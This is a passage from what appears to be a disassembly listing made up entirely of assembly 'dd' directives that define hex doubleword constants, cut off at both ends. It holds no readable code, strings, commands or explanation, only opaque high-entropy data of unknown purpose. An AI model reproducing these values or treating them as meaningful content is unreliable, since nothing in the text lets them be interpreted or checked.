25C828ABh dd 12DE8E00h, 7DFB6239h, 9C71602Bh, 7C0C16D2h, 1D4B4609h dd 27987161h, 9DE45D6h, 1585200Dh, 45A671C6h, 45E1FC00h dd 5B63BF3h, 6C1500FAh, 0ABB33CA0h, 2135C2Dh, 1004D98Ah dd 78B604C2h, 41543DE0h, 606B2F05h, 1DFB481Ah, 90BF6078h dd 950A213Fh, 8998394Eh, 2B15B134h, 5417D909h, 690FE73Fh dd 6760CEF6h, 5A9D0933h, 4F69F9D9h, 7BC088DBh, 0BDB95495h dd 0FD288A1Fh, 990935E6h, 958B1420h, 0FFDC88C3h, 3DF0CE29h dd 8B79822Ch, 470194ACh, 505539A2h, 427E9E71h, 2DD8D8Dh dd 3B999514h, 29026B51h, 5C5F7646h, 1511513Fh, 4DFEC6EAh dd 3302C8B1h, 550149BDh, 0F828E345h, 6E23B125h, 4E0176E0h dd 0E6E412D1h, 321AB219h, 2A0188E6h, 0A5F9F781h, 0EE6042B1h dd 0CA315F45h, 1F6840D2h, 80A2200h, 4817B7F1h, 41C1006Fh dd 18C82192h, 9495EC05h, 3A3069E8h, 9FADB77Fh, 72208218h dd 20E0AEB6h, 5E25057Dh, 95EE667Ch, 0A451DA09h, 5508E668h dd 3B6B2C27h, 5CB0F5AAh, 17209B2Bh, 0A2E96112h, 0E4F9B2B4h dd 8186A0C1h, 435B9D17h, 29244ADh, 0EE8BF1B4h, 0E4F5908Fh dd 0EAA53D28h, 0E55E0981h, 0E086C438h, 0EC7B0A6Eh, 0E65BDA25h dd 1D202527h, 1F0781D5h, 0B37FB162h, 8A7300C6h, 5C3D758Eh dd 2EC109B2h, 36CD905Fh, 0BB6643C0h, 6AF527B3h, 0F4E0BFCDh dd 0F71AD74h, 9B6688F0h, 787BFE0h, 56D30976h, 0B789509Bh dd 865951E2h, 94C68E00h, 9D1B4Bh, 0CE9EEB77h, 85EE6119h dd 1C1FD37Fh, 0CFAC012Dh, 42CAFE27h, 251F8AA1h, 0C502FEECh dd 519D0BCBh, 4B35552Dh, 0E0801C11h, 53A1B12h, 15707609h dd 18304AAh, 5090FC42h, 9D5CC655h, 3F3FA173h, 0E9900CB7h dd 0E82110h, 0D993365Eh, 0ADB63307h, 54412B01h, 631EA4B5h dd 5B74A6A8h, 926AA831h, 1A752504h, 26A3CAEAh, 0DB025DFCh dd 566162EEh, 840165A9h, 0D181E409h, 0CDC459Ch, 3CB360A8h dd 22BA1182h, 708E1495h, 0EB6F9DA2h, 268DCE40h, 0AD06122Fh dd 0A96D01FBh, 2D026A99h, 2531B87Ch, 0DE045ACCh, 0A9774010h dd 6C0FC0h, 0B60ECBC2h, 0FC63F092h, 3205BE00h, 78848CBFh dd 823F9C4Fh, 2CFD9529h, 0BD7B967Fh, 9767064Dh, 6418F4C9h dd 78C9C709h, 0D094F820h, 0FE51E989h, 25AB7183h, 0DDF85B8Ah dd 0E73533C0h, 942126h, 0EB812FCCh, 9ABC5F2h, 1DC889Ch dd 2537662Ch, 42890C3Dh, 0E2560B92h, 46CAC2EBh, 0B97F4EB4h dd 0AD903E48h, 0ED0040FAh, 0B529F1CFh, 9400C5B8h, 860D9980h dd 98B1BAC1h, 0B40995CEh, 19C3F57h, 33A86EF8h, 9B702B61h dd 23A5D9E3h, 642F6EFDh, 8FA0004h, 0ED431B41h, 5A16F32Eh dd 5A0B3BF0h, 0F7B96A9Dh, 3B6AF569h, 2EEFC2A0h, 0B091E86h dd 3D770B09h, 0FDAE17BDh, 0B58D8258h, 51B35632h, 0F1801504h dd 95B0C1F1h, 170003E6h, 0B63133F8h, 11618E3h, 0A83F9EEAh dd 0F0BB70E6h, 69015991h, 9D2371E4h, 0CC3F0F4Dh, 9ABFD6D6h dd 30995495h, 0BBB22268h, 534C5A05h, 534BBA62h, 46ABFE9Dh dd 0C1A22CC1h, 0E62F9E54h, 980695C0h, 39223260h, 0F5852D26h dd 2B610480h, 1444E8C8h, 0EFF200B2h, 76588218h, 0A900C64Dh dd 0C8D92A41h, 12BF620h, 0B356B070h, 6A8B5FAFh, 263BE9C1h dd 0CC3F6AFDh, 0A63DCCC2h, 4F4940B7h, 80D4B927h, 0C12236Dh dd 0ADF74EB8h, 0DBD08D9h, 5289652Dh, 0BAFA464h, 0FEB5F28Bh dd 36E98B12h, 0FD25BEF9h, 28C7AAA0h, 33509967h, 174A5589h dd 8A1BC0D8h, 526C09D7h, 21A550F3h, 82D390FEh, 32CE0F5Eh dd 0DD10ADB6h, 0EC0B7DFAh, 10273042h, 9F125540h, 6DA776E5h dd 0CB80C0AEh, 4E0291D4h, 10A070BBh, 45D85DB9h, 0EEEA6665h dd 0FCB182FFh, 0E0EEDE4Dh, 4C256463h, 15B52531h, 0DC8A7981h dd 791E20FCh, 0B7231140h, 0D0F4BE89h, 0E744C9h, 2A23C56Fh dd 8992B9B3h, 948E100h, 0C9E9A78Dh, 71454B86h, 2ADF0B97h dd 86B168Dh, 152C0EC9h, 5C8531C2h, 0CA47A5C6h, 44D38180h dd 9E245D26h, 9C12DCA3h, 0CEB52C8Ch, 0F078A63Eh, 249C52DBh dd 0B0634E0h, 667E19D9h, 201A51E6h, 5B620491h, 553185F6h dd 0F1B31138h, 0A7EC9795h, 0EF005535h, 3B74DA1h, 0C6340B90h dd 0BE989262h, 480080DDh, 4C67427Eh, 2A7D766h, 0BB0C0353h dd 45CC96Eh, 0D4C28D51h, 0E00EF421h, 40B5F2D0h, 6B2147A8h dd 0FBD32D80h, 0B7D4AA5Ch, 0B77121B0h, 0DA999700h, 69D55FEDh dd 9DBD2533h, 3CE39848h, 7EFDD412h, 530448E3h, 0BEE1FF5Bh dd 0AD4BAA6Eh, 618B8AC9h, 11456525h, 17364821h, 39FC151Dh dd 992A29E2h, 732DB309h, 984DC710h, 6754F6ADh, 0C1F584FCh dd 20459C8h, 0EF22FF61h, 0F6F07D9Dh, 0DCD10995h, 5709DC20h dd 8EF3CC98h, 250248CFh, 175F29F0h, 6822F4E3h, 0D3DE8A27h dd 181D59C2h, 2A593F5Eh, 0E59ACE00h, 9F171BCh, 115FB573h dd 0DAD7F6E2h, 66568002h, 8E2309h, 81F34B2Ch, 7B8CFFEBh dd 0DA903F2Eh, 6040509Ch, 10B85857h, 3E532EDFh, 0DB901258h dd 0A95984CBh, 0D4050A82h, 37DFA51Fh, 0E47000FDh, 0C868C542h dd 2DDCEF13h, 5CC0EC17h, 0F3C3EC37h, 2706E2Bh, 0E14E9776h dd 0D6175467h, 74161546h, 0F8B20B48h, 307019F0h, 91343597h dd 6C14801Dh, 38011691h, 4A1A78F0h, 0A3DD5686h, 0F5DBE9B8h dd 5F7AABh, 3D2F03A4h, 97AC87DEh, 36D9191Ah, 0F4DA1600h dd 1D590CAh, 0F3A47804h, 3F5D76E8h, 4009AA9Ch, 0D704810Fh dd 28432DDEh, 8D4F5ACh, 0AA1C6D16h, 0DA2BAA2Dh, 21BF9263h dd 3BC6FB28h, 0DF60A709h, 0BE56811Ah, 733CE000h, 63BEB2h dd 17C4A772h, 3476E12Fh dd 0A2C5DC32h, 616CC899h, 0B9FCE689h, 4D8680F5h, 5A5683D6h dd 7327F691h, 0E03AD138h, 9E14457Ah, 179A1760h, 11FD3165h dd 0B2FC2B90h, 0C294CF02h, 0E0E19663h, 4E4F85A8h, 0DA179158h dd 64A32F53h, 81615907h, 0D0A09EC3h, 0D88B9616h, 90B85074h dd 0BFD45A9Fh, 1464E56Dh, 9D0B1360h, 2720B95Dh, 1F9C450h dd 6D3FC9C0h, 834A57C1h, 0F4FB68E2h, 8CAADD34h, 0CB040801h dd 4291805Ch, 0F704F990h, 6E3F5E2Bh, 7FAC03A5h, 0B9B6CD4Fh dd 302ECF69h, 5090F978h, 8E3CBF1Ch, 0DAEE0B1Dh, 9F1FF227h dd 0DC5AFCFBh, 0B702C0C1h, 0B90003EEh, 0B3C88842h, 13BB6108h dd 0AC331C1Eh, 204A78B9h, 34D7D7A3h, 0C193C127h, 0FECE3E0Eh dd 0BA273C35h, 0C00886Eh, 410B5931h, 6609D0B4h, 5589E1D3h dd 27E96268h, 0D8249A1h, 3A4CF16Bh, 54BACBA3h, 5BB50F76h dd 722FD0E5h, 96F89B26h, 1326669h, 0CB730F9h, 2E5E3DAFh dd 50AD1029h, 0F4440B6Fh, 0D2E2EE87h, 5AC878C7h, 0AC29C449h dd 1EEB3ECh, 11DB815Fh, 7E7404BCh, 5CA2AA8Ah, 0AE847DA4h dd 0F0028DF3h, 5730D942h, 0BDE2307Fh, 932142ADh, 1300016Fh dd 0B0E26F53h, 87A09708h, 365FD9CFh, 0F64AB3E7h, 8862A0FFh dd 0D0B502E8h, 492BD531h, 5196A468h, 505F08C4h, 1EF87F85h dd 0EAF2D8CFh, 180188h, 0C6D21F5Ch, 1A81BEE0h, 0E743F00h dd 306D7C49h, 8D89E1Bh, 5F02182Dh, 0FFC19D31h, 0B725D314h dd 0B3EC6EC6h, 76ED5826h, 5B3C8800h, 0F54BFE85h, 0BB6609B9h dd 288ADC22h, 0D1CC2320h, 4F351815h, 4A07F7DFh, 7AA054A6h dd 48269517h, 0D62DC4FDh, 8051A5EFh, 13E5E454h, 13D4F0EDh dd 0E152BB01h, 1DAC86A9h, 9A90148Ch, 0A83B9E17h, 0F85C6309h dd 309CFB58h, 8B671740h, 57D100D4h, 1B5FBDAh, 0AF04C115h dd 0E2888CD8h, 0CB8F3D9h, 62A53A45h, 0A2B8C57Dh, 138C9105h dd 22F1B2B9h, 312E9EEDh, 0FC3BBB15h, 50974F51h, 0AC1A4EA5h dd 85FAB56Bh, 0B94E16BCh, 29BF8ECh, 89EC904Bh, 94F71DB5h dd 0FC8A2E37h, 0A1118h, 15F1363Ch, 7473E031h, 0A8234A96h dd 19B9846Dh, 836D4129h, 0FD352BFDh, 0A8CE34EAh, 0DC7AA2FCh dd 0A502F6C2h, 69BE009h, 99C76081h, 9D75C60Eh, 960869BDh dd 8305830Fh, 0E9C9B7BBh, 4630ABF5h, 70DF267Dh, 1D9400E2h dd 70C99B39h, 35050D0Eh, 96F17311h, 53C07EDBh, 0D3827505h dd 113F9D16h, 0B2C412BAh, 84018FC6h, 65B92669h, 0B3BCF5D1h dd 9B951004h, 97D8880Fh, 9F3997DFh, 5F723895h, 1AB2DAB6h dd 491D330h, 0E6861833h, 0A26BB86Fh, 0B9762C37h, 3BA81F4Eh dd 0C047DAB4h, 8B151308h, 210D25A2h, 0BD016CC0h, 25937E97h dd 46F6F1FCh, 83FC5F19h, 6268097h, 0CE4FE93Dh, 5E0F5BF0h dd 8935528Fh, 0E413D465h, 4EEBC705h, 0F9BCC18Bh, 3640EE96h dd 8E149D26h, 48D4791Fh, 0B24ACF24h, 0A5CC4AFBh, 0E109F52h dd 0AC1C5C97h, 860464E0h, 78CCAD1Eh, 5CF0FBA0h, 0B996012Bh dd 0BE4C9FDFh, 393C2055h, 5F7FC00Eh, 43C2335Bh, 0FE137FD8h dd 0E7C813B4h, 0F24100A1h, 740EF95Ch, 0B8E4A6CFh, 0D1C8A004h dd 16FF1DE3h, 27A66F0Eh, 18859DFh, 44ED00Ch, 608531FBh dd 4439729Dh, 1EC81C6h, 6A5F49B3h, 27BCB839h, 3F91B02h dd 0D66AE032h, 0CC4A3BABh, 154155FDh, 9A22B700h, 0B82EFD0Bh dd 0F57811Ch, 57A50E8Ah, 0AB00D971h, 534AC79Dh, 648D17F4h dd 0F800FD5Bh, 60F700B5h, 4B11BD36h, 30055466h, 5290DD8Ah dd 0FEBB7FC1h, 0AF47ECE4h, 380C46BBh, 0BB4FE89Fh, 89AE504Ah dd 9D194BE5h, 1F9A2A7Eh, 0D7C91DC8h, 80BE1596h, 0AF105347h dd 60A5B87Ah, 8F84C08Ah, 0D14AFF91h, 53A92C04h, 9DA286B8h dd 9AC045EFh, 511A8F27h, 283BEA3Dh, 0DE000772h, 1E7549A9h dd 34B6002h, 7A4F1627h, 0A1983E58h, 6A7ECD72h, 799D290Bh dd 0C2DF5C21h, 0B75D2404h, 9936057Fh, 2FB4FC2Bh, 7906FB2Eh dd 0B251818h, 0BF3B9A5Ch, 1210EB5Eh, 0E3BAE912h, 92C8981h dd 0D7375F7Fh, 0BE208080h, 0B2782C1h, 0FA6F9B67h, 15CECD40h dd 0E6DC8D9Ch, 0C7BF00C5h, 99A46EDCh, 6679A359h, 5B19A725h dd 0A7EDA565h, 5027540h, 190484Eh, 68DAEC3h, 0FDA25BB8h dd 35C7DE00h, 4E80B363h, 38F0F4h, 60504317h, 0A5D653B8h dd 0D08B2305h, 82AE9061h, 59570414h, 0AF428083h, 6A645213h dd 4A70C504h, 0A0B87A96h, 0A207B6A4h, 0D4954917h, 0DDED5FD6h dd 4B6017C4h, 0E2126EF2h, 23EF0BF5h, 0B8F4B76Dh, 6304D6C3h dd 6A0F11A9h, 2C82F5ABh, 0F35D026Dh, 64767879h, 3B9F3197h dd 5FDBBB10h, 0B024C81Ch, 0A9BD0305h, 70E61AD1h, 4E803E6Ch dd 57CA9589h, 22840D00h, 3C239731h, 0C28707A4h, 0A5EC8224h dd 7F44FFB9h, 0C181BC1h, 19973339h, 8F08FDAFh, 533DA195h dd 0D02AFA8Bh, 3D39BB4Fh, 0BA5A5CFEh, 0D5D1131h, 12C15793h dd 15B0B109h, 6430AB53h, 3EA10Eh, 0A8EE9A81h, 5EC837B3h dd 0DB369612h, 882A1F30h, 2F800A0h, 0FFE3EBAAh, 0C97E6CDh dd 9AFDF2D3h, 0C82B128Fh, 9124EF03h, 8D2305FFh, 9BDB54F5h dd 0E9DAAE09h, 7DA09059h, 217DC6B0h, 43FBBA9Fh, 5518E248h dd 73576891h, 81EA0011h, 4170028Eh, 3B481433h, 891EF775h dd 5BCF89F0h, 0B511CC72h, 13883091h, 56EF569Fh, 0AB5B4454h dd 0B5018321h, 0BE3A523Fh, 3C6C0DC9h, 26CBC84Ah, 0E49E5789h dd 14C42CE6h, 0FE2018A5h, 71079682h, 15416329h, 0E1BD5B08h dd 0D66C2504h, 6BA4C7Bh, 942BAA82h, 72EF53FCh, 0A77AC3B1h dd 0D7EC4E3Eh, 0B95280D7h, 0DB9D0929h, 0BCCD2F3h, 340F9819h dd 55C20598h, 40E89591h, 9C552B4Ch, 53E8D72h, 0DB79E5Bh dd 1C6FC097h, 537CD525h, 0CC1A95C7h, 57E8B38Bh, 82B1189Bh dd 74A72A12h, 4C112400h, 0BA44B668h, 3E8CA603h, 0BC5B9546h dd 1DFCD5ACh, 0BD40008Ch, 0BA37C50Bh, 0E44E8BD7h, 77F7F680h dd 0C56D9510h, 10FCD814h, 0A85A2171h, 0F896DF5Bh, 4EEE6BEBh dd 1D3E9A98h, 829BCC20h, 7608595Ch, 6B616DD5h, 5102CBECh dd 0B7A35540h, 2265F512h, 0EB96EDAh, 272ED978h, 0C93E99E0h dd 96A02D9Dh, 67951BB5h, 0A06F10E6h, 364A90h, 202EC8A7h dd 44463F1Ch, 814332F4h, 80299B5Fh, 0D2A55052h, 74D59A4h dd 0D569969h, 0E1446D6h, 20BF5206h, 5F54788Dh, 0BC120BBBh dd 9C555CA8h, 0E215E1A6h, 16A35F9Fh, 0CAC57525h, 0F8250211h dd 0BE11C7C5h, 0DB604B7Eh, 0F406895Bh, 0B64E97Dh, 48848300h dd 0ABB0DB52h, 0C00600A8h, 0FCC17082h, 0E09F2F14h, 975FFFB6h dd 0C9CBF00Eh, 2900AE59h, 7D74C436h, 1A45123Eh, 6AFAE1FBh dd 0A01AF6Eh, 3F795BBBh, 0F0482E20h, 0FEF59672h, 0D84FD06Bh dd 8002DA78h, 4F8DA1AFh, 12935E6Bh, 4AECE706h, 89CF21FBh dd 62446FBDh, 0BBB15090h, 0D6E2Ah, 56FCBB8Ah, 0BD9223EDh dd 90AD8A90h, 84B1BE1Fh, 6A98A580h, 188AF31h, 5E19D58Fh dd 0D7BF8D75h, 7B65ECD9h, 0EDA04FF7h, 3B006D29h, 5B68F878h dd 959C24E5h, 1C00F944h, 3519BAD9h, 15E2885h, 1DC5C9F6h dd 2A3F7520h, 1EA4F9C0h, 0F6634EFAh, 8E62E0B2h, 0B44C2E9Dh dd 0D2BF0181h, 2A512E84h, 16ADE875h, 0D3005BA8h, 0D1339884h dd 9074A0B4h, 0A7F0BF5Bh, 0F0B05B97h, 94099A27h, 4B9D8BEFh dd 950C106Eh, 5AE90B13h, 40566F01h, 0D4B05E9Ah, 0C6B6E425h dd 293DA0FAh, 5938A021h, 0F9659532h, 505DFBA7h, 1713DA4Bh dd 5105EDF5h, 0C2EBFCACh dd 3AD51CF8h, 419F029Bh, 0EC125E18h, 2C6DB918h, 0A52BA10Dh dd 4AD34A63h, 3BA1A4B6h, 0C1132E8Eh, 3FE0A88h, 0EC9E1995h dd 8498472Dh, 0BF2F49A3h, 4A10152h, 252E5B12h, 0EACCEE9Eh dd 699D4803h, 68A4DC4Ah, 345B2FF8h, 721275F8h, 626BE060h dd 0C92B2C3Dh, 9B8BCB3h, 726BB16Fh, 3CAC6871h, 44011E02h dd 13ACD242h, 0EFC2F0BBh, 0FD82BF1Dh, 5F5CD3DBh, 379FB0F2h dd 0A712BF3Ch, 0F17E45E6h, 48CAAA09h, 0DA2B53Ah, 0E15FE80h dd 0B7751E97h, 0C8F5C990h, 5EE56C00h, 2EC5D069h, 647F165Bh dd 2EBFB2C1h, 8D003B76h, 0C20AFC6Fh, 986290C9h, 499EBC8Ah dd 4C5972FEh, 0D1250415h, 5CE90432h, 90EC9DFDh, 4A6CB71Ch dd 73356053h, 306100BBh, 2F61E8F4h, 0D7CF0B01h, 0BE92AC46h dd 0B781822Ch, 0E062F2F7h, 59B5613Ah, 0B52FDD6Eh, 0FD0F0048h dd 0E07DEEA9h, 45BD3312h, 9004F953h, 8EBF1C65h, 4931027h dd 0F5952904h, 0E37FBC1Ch, 0B3271280h, 8273ADCEh, 140F518Dh dd 0AC9C83F2h, 7F5BD862h, 1691F0B5h, 620EBF82h, 2A34B940h dd 0F8491B97h, 0BA159D0Bh, 965F0B03h, 3F5CE8B7h, 15FDAD8Ch dd 0FFBFD23Fh, 0FC5EA67Bh, 6BFFD36Ah, 0DB162BA6h, 0C6C02A02h dd 0D372578Bh, 5EB1564Eh, 955B7B70h, 855004C5h, 0A0B14BE3h dd 2207C285h, 5E79BE60h, 0D5FC09B2h, 7C108A33h, 0BF49262Dh dd 67EB8180h, 3B4B60FCh, 0AAF2ECh, 0A94955C6h, 171374F2h dd 65C2BDC1h, 326048D8h, 0D59D230Bh, 0B55FABABh, 194CA735h dd 5B02AE7Dh, 0E2A9D94Dh, 2382D79Ah, 0DF0488E0h, 2A7BABh dd 0B4A762ADh, 4B2D8BAEh, 265DC8BCh, 0CF97A00h, 0A315FA9h dd 2C7FE5h, 36F3CA69h, 16E4345Eh, 0D8D290Bh, 0B007119h dd 32D50375h, 5090F3E9h, 2005E86Dh, 80AAE956h, 180284B2h dd 907F678Bh, 6B754460h, 1FE1D600h, 0B9595F01h, 4D8027C8h dd 454980Bh, 0B235DFDAh, 57531F16h, 7CEDB995h, 955832BCh dd 366F0986h, 0A14682F2h, 258EC420h, 0C46E1A15h, 0BE3813Dh dd 7D2F092Dh, 9940DF15h, 0C4B1BD23h, 0FC579675h, 25F9240Eh dd 505F6100h, 12DE1ABFh, 0BA9648F3h, 624B56Eh, 3ED90325h dd 0DA10EB09h, 0FA01591h, 39D60C81h, 0AED320ADh, 4D9DA720h dd 1A6EB52Fh, 95DCB5BCh, 3182AC76h, 0DA30A185h, 2005452Eh dd 2A25D739h, 4BAF70ADh, 3813CE18h, 2BF74E60h, 9F9E4AA0h dd 0F9739195h, 0A313C104h, 6EC371AFh, 87C0C89Eh, 48463BE3h dd 3DE8744Bh, 0D5B9884Fh, 54D27501h, 66DEBA0Ch, 41BF712Eh dd 0A9BC4829h, 22F2155Fh, 72811388h, 4D0A2F4h, 9967FCh dd 0A149DD0Ah, 789ECDA7h, 0C9902E17h, 72B78EA0h, 6EEF695Fh dd 0FBE3F57h, 158157EBh, 2F8BAD16h, 34A21235h, 1D2F6303h dd 5BAA4CD2h, 4051FC5Ch, 0EE71F509h, 0B4D19D14h, 0C90DBF80h dd 97C633F7h, 2000D53Dh, 77EE0355h, 0D2D38082h, 5DE414Bh dd 60C714C8h, 3ACA581Ch, 0E9011B98h, 99087F8h, 2F74D961h dd 0C18B0806h, 5CA6377Fh, 0AE2614FEh, 0C0BB8F73h, 90C5C1Ah dd 0CA8B6050h, 0EDEF29DFh, 2B4EC0DEh, 0E2027EE8h, 1CFFAC69h dd 5A660ECh, 0CDFB10Bh, 687D1FFDh, 44AF0A09h, 606FF66Ah dd 6135DDDEh, 0A28D7209h, 98FCF46Fh, 0A9E6BAFAh, 0DE7A5697h dd 10747900h, 0F05CD6Ch, 970A97DBh, 41B90A5Ch, 0B80C3B82h dd 0CF7243AAh, 1C4487ADh, 0A7571460h, 0FD0D300h, 2905AAFCh dd 0EA894C9Dh, 930488D2h, 9FEA423Eh, 9865C834h, 78973788h dd 1D2C0019h, 0E3CAD01h, 4A485561h, 405138DCh, 0DC4EB55Fh dd 67B59Dh, 0D26B51A2h, 0FF1C763Ah, 8EA806E6h, 0CC16482Ch dd 4A538060h, 6A8F00F7h, 0BA4F56DEh, 5B01543Fh, 3A33CB7Dh dd 0DA7FBFEDh, 0C018C83Ch, 0D31AAD7Fh, 32B0D55Bh, 0D1FF800Ch dd 30108C9Eh, 0E2575213h, 0E4D2001Ah, 0B145AFA4h, 67960E61h dd 0E2325B40h, 0A67E88E3h, 0C0C82758h, 0D3BE026Ah, 90261010h dd 42FE44DAh, 93913BFh, 0E8E825h, 0C77FF43Dh, 0F04141Ch dd 9DCD9470h, 0A1566AFh, 42DA8B27h, 0ADB0B75Bh, 5F06F964h dd 0F02A8E79h, 9DF4EA0h, 0DC731369h, 862D4A5h, 19281B19h dd 9011D520h, 0A8165E17h, 42F0E2EEh, 8B775B3h, 0A004E9Fh dd 0F756F6D5h, 62E0954Bh, 62483CCFh, 9DB5D2E5h, 0F5A2A2BBh dd 61D48A02h, 4869BD2Bh, 0BBF906Dh, 40872E42h, 0FB3B125Dh dd 75FC2570h, 61401164h, 0A8C3290Bh, 3F4C4E00h, 53C1D1B6h dd 1AC90AB5h, 0A5C50E77h, 47C06DCDh, 0E3026003h, 85C6D82Ah dd 0FE1D9D27h, 34875297h, 4A76B9A9h, 39BAF9C0h, 98E24B7Ah dd 0D5A0539Fh, 5B810C55h, 0DD08BC3Eh, 0DEF0E4h, 0A6F98412h dd 0DB640941h, 104AD22Fh, 0B00B4D10h, 0BD79D9h, 66674C16h dd 0FE3CFD08h, 0DA20BC17h, 216804EEh, 0F0121304h, 0BBABD0BAh dd 59BDD323h, 0DCC4C930h, 0D371CE0Eh, 73540FAh, 0E4021DDFh dd 0CDB52E29h, 0B05F89FCh, 0E6DEF8A1h, 0C1728870h, 71E40926h dd 945A2029h, 81632360h, 250EBEEBh, 90C27EB2h, 0CC5BE2FDh dd 25EA7BF5h, 98C4619Fh, 20A2604Bh, 6650DD00h, 2D8FD053h dd 7AEB800h, 2F4BE88Eh, 0F53913D5h, 0C146825Ah, 3D054C55h dd 9597F08Ah, 613C4955h, 909BA70h, 5C1825B5h, 18C54A6Ah dd 0C82BCDA5h, 45601790h, 80D18B37h, 0F2CE62DBh, 0E9022879h dd 0E4348FB2h, 0CCB8A5C3h, 5B211780h, 287C82C8h, 3126F495h dd 7A0885A2h, 9D081A37h, 0DCD925C0h, 423DF00h, 0B30E3Eh dd 929EE75Dh, 0C6521528h, 66EF6012h, 3DB55B52h, 0B3A4F12Fh dd 0EA038E46h, 5168E961h, 0C55AB3E3h, 0E9CA71FFh, 2D8D2352h dd 950DA1F9h, 0F98C1DC5h, 0BF03FF8Dh, 4961BD09h, 15AE717Ah dd 0A5226532h, 821E2792h, 1FA88303h, 0B20FE4Ah, 16FAA901h dd 0AEFCF2A1h, 3193B13h, 9230878h, 0FF5ADB13h, 0BB2A7828h dd 6E50D830h, 77899002h, 462ECDB7h, 283103AFh, 3F743E4Ah dd 0C5F56DE2h, 0F74B067h, 628A0281h, 0E6F3753Ch, 0F7DE92FBh dd 2D29F5EEh, 7A2FC527h, 11B91A57h, 8504230Fh, 82ECB82Ch dd 50918509h, 0B66EF99h, 35DE3BF0h, 319EA41Dh, 0C8AE2C93h dd 213CD44Dh, 0F1A600FAh, 0CF781E5h, 125716Fh, 617111E3h dd 0D1D1B360h, 6F77C2B8h, 40BA60A7h, 5D1D6064h, 0EBD66306h dd 0CEFCEB07h, 0BB012DDAh, 2B3B164Ah, 0B7E03C2Eh, 0CA6E914Eh dd 0F6CA3725h, 0DE54DEh, 53BB3F27h, 219F2AD7h, 0E3A101EAh dd 0BE67E18h, 0F55132F4h, 307DB640h, 4AEDCE95h, 2553FC53h dd 76F0715Fh, 0A0731446h, 2F6B40FFh, 0EDB70BD3h, 7920C209h dd 815F0906h, 73E47Dh, 8E68D494h, 0B1BB516Bh, 14397112h dd 998D2BF2h, 0A2B67B3Eh, 4606FF2h, 0C4BA99B5h, 63505CA5h dd 35940FB8h, 14248D92h, 99B285h, 0B6FD2BEh, 4B673E8Fh dd 0F45CC38h, 88BC3CF7h, 4F844989h, 7F7CA1B1h, 888046DEh dd 6F4BA896h, 0B92D1A98h, 0C25E710Bh, 0A17B0519h, 4B3E1D0h dd 99BD2B3Eh, 3738AF10h, 0E7054F03h, 9EC9A0A5h, 0D99754DCh dd 12F9970Ch, 77049BC2h, 9E44EDCFh, 8A84CCAFh, 5660FA2Dh dd 4E0BDC2Ch, 8E2930F8h, 65FF32C6h, 0A076B64Eh, 1C180768h dd 0B215A2Ah, 45855E9Dh, 0F033E6E1h, 0AD9032h, 16436E55h dd 0E1CB81B3h, 52998A1Dh, 6F60C781h, 482F1B03h, 3BA44FBDh dd 28205908h, 2A7D4527h, 19C8C19Ah, 15A7F9C0h, 0F5D62517h dd 1F6247D0h, 5E0F6F08h, 0AE0365C9h, 4BFFB24h, 0F1D5895Bh dd 789B3E01h, 0C08FF187h dd 8C0FB48Dh, 3EE565B7h, 0FD3F5982h, 38C2B619h, 0C1D78209h dd 41696A10h, 0FB0F0BBCh, 13F8D4A4h, 29FED952h, 6E137E57h dd 9F796DACh, 55763E33h, 73B737B8h, 69F82502h, 8D395F5Ch dd 5BE92257h, 2BF9FCC7h, 0B902F5B8h, 0C7801A3Ch, 98CC834Ah dd 0A4F7B9B0h, 0F828322Eh, 642EED5Fh, 2DBF601Dh, 48110068h dd 0A136EC59h, 6338E916h, 0E6F34E02h, 2635F000h, 7DC27607h dd 0E2486C25h, 0E8BD7D9Ah, 0CBEE4F82h, 4DF28252h, 0BC5F0418h dd 0ECE3D3B4h, 7D9D2304h, 0D396BD0Ah, 5D801C9Bh, 0C1E0AF59h dd 0B7B84C01h, 0D88BD204h, 0F9B7322Fh, 0B75FB18Bh, 65EC8448h dd 5BDCB12Dh, 0C01C88D9h, 0FBEEFFAEh, 0A4F27901h, 3157886Dh dd 50B8F92Eh, 44A462Ah, 0EC92D4DBh, 8A895ADAh, 0BBAE606Eh dd 321450C9h, 2EAB57Fh, 2A05669Ah, 3984DDA5h, 44960914h dd 0D02C00EEh, 54DE782Eh, 400C1E8h, 8AF41A34h, 133D7CF9h dd 885052DDh, 0AE003983h, 9832CB76h, 2F0920A1h, 0F350B915h dd 24F8B25Fh, 22469627h, 6778ED93h, 97D500B5h, 723893A7h dd 90BD23BEh, 2AF0A1Fh, 0F0194F0Bh, 0F1D16960h, 7051803Ch dd 0A85C7366h, 80DC0081h, 0BF329011h, 0B901372Ah, 685F340Eh dd 6DF487E1h, 16CEF460h, 0A27A1405h, 5C7F38BBh, 0B1017C43h dd 0F46A2D21h, 1320FADAh, 615E27F3h, 841E8540h, 0ED6D0E27h dd 0E8A6C49Bh, 0DDDE4A81h, 20CBCC2h, 75750955h, 78539B80h dd 0DD259D89h, 6252DC0Dh, 0DBF4850Fh, 30E450h, 33531708h dd 0D74365A2h, 0EC019A7Bh, 0DD7C1913h, 0A3303F1Bh, 5B1109BFh dd 0A8897934h, 0C28CED55h, 4E752E09h, 0D156F2Eh, 0AAED1253h dd 709220DEh, 623B7F5Ch, 0E99D7E90h, 282FFC97h, 35C00DC1h dd 0ADC753BFh, 0DB800B4Bh, 0F92E990h, 4B776E5Eh, 0DB503DD3h dd 494F00BBh, 0E80F7CA3h, 70BF95B2h, 8E124E04h, 9222226Ch dd 9BA88599h, 475C2112h, 0ECA4BD4h, 0AE72C8A0h, 8254E295h dd 741DD96Fh, 7EBF518Eh, 0F34591E0h, 0F27DB62Ah, 0FC97311Ah dd 1C1341A3h, 2AFF778Eh, 96368789h, 60A25649h, 461A3EF8h dd 3244900h, 0A3CDEAAFh, 58B53CE0h, 0AB8AC312h, 9CE82081h dd 1588A55Bh, 185A6C0h, 954570BDh, 0C7A83A73h, 9017E920h dd 142E0A26h, 0A3A40DA8h, 0E5DFF0E0h, 79D5EF1Fh, 12087CE5h dd 1960AE0Ah, 3DB8C381h, 99BD29A3h, 123AF77Bh, 0EC75AD88h dd 0D83C0017h, 816CFB93h, 0E2E816F7h, 0E52A5D41h, 43F62B46h dd 0FE3016B2h, 0FC2EEB5Ch, 95BF8060h, 9D446529h, 0A2D57C09h dd 0C62050F1h, 0BBD900E0h, 9ECAC265h, 900241Fh, 85A48A41h dd 9CC6CE1h, 0E8207A87h, 1823C79h, 5F315995h, 9D04D8E5h dd 69292F21h, 37BB808h, 67103562h, 469E8F2Ah, 64B8D69Dh dd 0FADABFF9h, 7AC31BC8h, 9A20CF74h, 0B5E16E63h, 0B53FA7CCh dd 1ABFC42Dh, 52B750D8h, 7B7BD62h, 0C4FE9480h, 0A1E909FCh dd 8E6B3598h, 